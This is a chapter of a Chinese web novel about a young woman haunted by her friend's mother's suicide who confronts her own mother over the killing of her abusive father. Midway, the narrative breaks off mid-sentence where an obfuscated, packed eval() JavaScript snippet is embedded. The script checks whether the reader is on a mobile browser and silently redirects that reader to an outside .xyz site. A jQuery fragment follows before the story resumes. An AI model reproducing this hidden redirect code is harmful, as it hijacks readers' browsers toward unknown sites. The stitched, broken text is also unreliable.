深夜一片寂静。
楼上空调外机渗漏的水珠沿着管道蜿蜒而下，重重砸在窗台的绿植叶片上，叶片震颤着蜷缩起来，仿佛在躲避某种无形的鞭笞。
滴答——
滴答——
陈予琢裹着夏凉被，空调冷风扫过颈后，激起一片细密的鸡皮疙瘩。
她无意识地将身体蜷成胎儿的姿势，额角的冷汗浸透碎发，湿漉漉地黏在煞白的脸颊上，像是被蛛网缠住的蝶。
指甲深深抠进被角，梦里是咸涩的汗味混着教室里熏的艾草烟。
记忆如潮水翻涌，将她卷入高三那场暴雨后的黄昏。
六月闷热的空气里，雷暴劈开铅灰色的云层，雨水把学生们的校服浇得湿透。
学校老旧广播滋滋作响，宣布取消晚自习的通知细微碎响，在教学楼里回荡。
十七岁的陈绪被人潮推搡着离开教室，鞋子套着塑料袋的，积了浅浅一层水，发出咯吱声。
沈灼家的玄关灯罩落满飞蛾尸体，她提着保温盒站在客厅中央，裤脚湿透，在地板上晕开一片水渍。
她那天是要做什么来着？
房间里塑料袋摩擦声、钟摆晃动的咔哒声以及翻动抽屉的声响一下涌进陈予琢脑袋，她记起了这个场景——那天放学早，又淋了雨，她原本是打算找点感冒药吃的，却意外翻到了那些东西。
烧焦的相纸泛黄的信封里露出一截 ，陈绪盯着照片边缘的焦黑，那上面一个女人搂着赤裸男人的脖颈躺在床上，姿态亲密，犹如爱侣。
身后铁门外，钥匙串撞击声惊得她手一抖，信封掉在地上，信纸掉出来，上面“亲爱的春华”五个字突兀的卡在信封口。
视角突然翻转。
陈予琢后脑勺撞上玄关鞋柜，疼得她眼前发黑。
再睁眼时，她发现自己正攥着玫红色羊皮包。
这是沈春华的手。
“小绪你听阿姨解释......”
她听见自己喉咙里挤出走调的哀求，可对面穿着校服的女孩只是捏着照片步步逼近。
少女瞳孔幽深，嘴角绷成一条直线，将那些烧焦的出轨罪证摔在她脸上。
她看着十七岁的自己嘴唇开合，却听不清那些诛心的话语，只看见自己在沈春华的眼中突然扭曲膨胀，獠牙刺破人皮，伸出一条猩红舌头，滴落的口水腐蚀地板。
下一秒，怪物脖颈又突然裂开，透出里面的金漆，金光闪过，狰狞头颅变成慈眉善目的佛像。
佛音缭绕间，那些信变成金色麻绳从信封里钻出，勒住她的喉咙。
烧毁的照片化作黄符封住口鼻。
铁锈味弥漫在口腔。
是血。
沈春华咬破了舌尖。
她的身体疯狂摇头后退。
场景也随之变化，她看见自己踩上一块砖头，风灌进蓝白病号服领口，她从楼顶重重摔下，成了一摊肉沫。
沈春华成了一滩肉沫。
“啊！”
陈予琢挥着手弹坐起来，撞翻床头水杯，巨大的动静似乎是吵醒了隔壁房间的人，客厅亮起的灯，光从门缝照进来。
她揪着浸透冷汗的睡衣前襟，尖锐耳鸣让她甚至听不到自己直喘的粗气。
手机屏幕在枕边亮起，现在是凌晨三点整。
屋外，妈妈刘少兰敲了几下门。
陈予琢抬手抹掉下巴悬着的汗珠，赤脚绕过满地玻璃碴，打开了门。
“妈？吵到你了吗？我只是喝水不小心弄掉了杯子。”
她对着刘少兰扯出笑，抬手按下墙上的开关，啪的一下，灯被打开。
刘少兰的视线落在女儿被冷汗浸透的睡衣上。
布料紧贴着皮肤，勾勒出单薄身形。
“小绪，怎么出这么多汗？”
刘少兰抬手去碰她额角的湿发，指尖触到一片冰凉。
“做了个噩梦，可能最近压力大……”
陈予琢后退半步，赤脚跳过碎玻璃渣，弯腰捡起翻倒的水杯，“妈你去睡吧，我收拾一下就行。”
刘少兰盯着她许久，喉咙动了动，终究没追问，只是转身从衣柜里翻出干净睡衣，“去冲个澡，别着凉。”
浴室镜面蒙着雾气，陈予琢抹开一道水痕。
镜中人眼眶凹陷，脸颊惨白如纸，嘴唇被咬破的血痂凝成暗红。
热水浇在肩头，皮肤泛起不自然的潮红，她却感觉不到暖意。
水声中，过往记忆碎片翻涌。
大二的深秋，教授将交换生推荐表推到她面前。
“学费由学校承担，但生活费得自己解决。”
教授推了推眼镜，“你的成绩足够申请助教岗位，但会很辛苦。”
陈绪攥着表格，指节发白。
沈灼靠在教室后门冲她挥手，马尾辫扫过衣服领口，笑得没心没肺。
机场送别那天，沈灼把保温桶塞进她怀里。
“我妈炖的当归鸡汤，补气血的，你凌晨的飞机，等饿了就先吃。”沈灼指尖戳她黑眼圈，“到了F国别光啃面包，别省着那点钱！”
陈绪捏着机票笑。
半年后的深夜，手机震动惊醒熬夜查资料的她。
银行到账通知弹出来，金额栏的数字让陈绪一惊，整整十万。
沈灼突然给她转了十万元。
但她打工的奶茶店时薪十二块，她怎么可能存的了这么大笔钱。
可陈绪打回去的电话一次次被挂断，最后沈灼只剩一句短信：「别担心，我接了个家教大单子，最近有点忙。」
当夜，她攥着手机蜷在宿舍床上，横竖睡不着。
窗外大雪压断枯枝，天光照进来时陈绪半梦半醒，盖了一晚上被子还是冰的。
白天，她当机立断买下回国的机票。
辗转多地，几天后陈绪终于坐上回老家的大巴。
沈灼老家院门虚掩，陈绪推开门的瞬间，绿头苍蝇冲到面前。
沈春华的尸体横院子里，皮肉绽开，蛆虫从眼窝里钻出。
她踉跄后退撞上院墙，扶着长上青苔的墙止不住干呕。
身后传来一阵脚步，周南看到她惊呼，“陈姐！你回国了！快来劝劝我姐，她疯了……”
周南拽着她冲进医院，哭嚎声先一步到耳朵，只见沈灼一身丧服，披头散发被保安按在地上，怀里死死捧着她妈妈的遗照。
“让他们赔！我妈的命就值十万？！”她嘶吼着踹翻压制她的人，从口袋里掏出烧过的纸钱，一撒，纷纷扬扬落在陈予琢肩头。
一个男人气急，抄起木棍就往沈琢后脑挥去。
陈绪腿比脑子快。
时隔半年当她再次抱住沈灼时，她已经瘦的皮包骨，有些胳手了。
她帮沈灼挡那一棒子，满头是血再醒来是两天后。
医院最后又赔了十万，这件事才算掀了过去。
陈予琢从前不懂，为什么一向孝顺的沈琢会拿她妈妈的尸体碰瓷医院。
直到她整理沈灼遗物时看到的沈春华写给沈琢的信。
热水突然变凉，陈予琢关掉花洒。
浴室镜面重新聚起白雾，她裸着站在镜子前，已经看不清自己的模样。
她会变成什么样子。
反正不会是沈灼期望自己成为的模样。
她套上睡衣推开门，刘少兰正弯腰擦拭地板水渍。
陈予琢接过抹布，瓷砖倒影里母亲佝偻的脊背像一把生锈的镰刀，割得她心中刺痛。
她忽然抬头，声音轻得像一片飘落的灰尘，“妈，你还记得沈灼吗？”
刘少兰的动作一顿，陈予琢手中的抹布被狠狠抽走，水盆"哐当"翻倒，污水泼溅在刚擦净的地板上。
面前女人瞳孔里烧着淬毒的恨，“你和那个男人一样，心脏都长在了姓沈的身上了！”
“……”
陈予琢低头，手指死死扣着大腿，她睫毛颤抖，扯着新换上的睡衣去擦掉地板上的水。
“小绪，妈……妈不是那个意思。”
刘少兰见状又软下来声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598444|171947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音，拉过她的手合在一起，“对不起，我只是情绪有些不稳定。”
“妈，其实这房子是沈灼和我一块砖一块砖攒钱买的，你进了监狱后，是沈阿姨收留了我。”
“我其实……”已经知道那个男人出轨了，妈，你还可以重新开始——
陈予琢话到嘴边收住了，她被刘少兰打了一巴掌。
她的力道很大，陈予琢整个人被这个巴掌扇偏了头，头上夹子掉在地上，散落的发丝扒在红肿的脸颊上。
火辣辣的疼灼烧着那块脸皮，她耳朵里一阵嗡嗡作响。
“我养了你多少年！那个女人才养了你几年！你现在就要为了她顶嘴了！”
“你心里还有没有我这个妈妈！”
“你是我怀胎十月生下来的一块肉啊！你怎么能像那个男人一样偏心啊！你对的起我吗？”
“陈绪，你说话啊！你对的起我吗！”
刘少兰疯了一半拽着陈予琢的睡衣把她从地上拔起来，又不断地推搡着她。
她一遍一遍的质问，说出来的话越来越难听，什么肮脏的词都被她拿来骂这个她曾经捧在手心里的女儿。
“我对不起你?”
陈予琢却抬头直视面前的人，失笑，脸上泪痕未干，嘴角却咧开，一时见看不出来疯的到底是谁。
“……那你知不知道你杀了那个男人的时候是谁在帮你辩解！帮你作证那个男人家暴！”
“你以为你瞒得很好吗？”
“家里厨房地上那把刀是新买的，你买来后就一直放在床头柜下面，用一本旧字典压着。”
“你没发现你拿出的是新刀，刀柄却是旧的嘛？因为那是我换的。”
“我知道你买拿把刀做什么！我一直都知道！”
“小绪……”
刘少兰瞳孔骤缩，手悬在半空，一双眼睛里满是不可置信。
“那天地上有三瓶隔壁王伯酿的米酒，以他的酒量，肯定是醉的不省人事，根本不可能还手，你防卫过当致死的理由骗不了我……妈，你计划这个的时候为我想过吗？”
“你知道你被发现会判多久吗？我那个时候才15，没了你，你让我怎么活？”
“我已经在帮你脱离苦海了……妈妈，你就不能多等我几年吗？”
陈予琢声音沙哑，喘着粗气，脖子通红，浑身颤抖站都站不稳，却挥开刘少兰想要搀扶她的手。
她双眼含泪，继续说着。
“你什么都瞒着我……那个男人出轨、那个男人家暴，我知道你为我好，所以我也认了。”
“我努力读书，和校长求学校食堂的工作给你，我努力读书，想着考上好大学带你离开……我努力读书……”
陈予琢说不下去了大口喘气，哽咽着蹲在原地抱住自己，“可没用啊！我努力读书没有屁用……”
“我总是慢一步。”
空气凝滞，月光从窗帘缝隙漏进来，照着母女俩相似的、破碎的眼睛。
刘少兰扑跪着抱住女儿，犹如困兽般哭嚎着，她带着厚茧的手抹擦陈予琢脸上的泪水，“不是你的错……都是妈的错……”
陈予琢看着母亲与她一起蜷缩在地板上，忽然想起高一村长来学校告诉她家里出事的那天。
那天下了一场很大的雨，她们回去的班车陷在了泥里。
沈灼背着她趟过淹没膝盖的污水，说“我们会逃出去的”。
而现在，她们都溺死在了这座名为“母亲”的坟墓里。
谁能想到沈春华跳楼自杀前给她女儿的遗物里就一封信和一张卡。
信里不长，五百多字。
前面三百字交代她出轨那个男人的事，说她对不起刘少兰和陈绪。
后两百字交代沈灼用她的死弄点钱维持生活，最后多出来的几个字让沈灼把卡和里面的钱给陈绪。
从头到尾，没留给沈灼一句话，但偏偏，整封信都是留给她的。
而她陈绪，是一个提醒着沈春华她的罪行的怪物，是一个她上供着用来赎罪的佛像。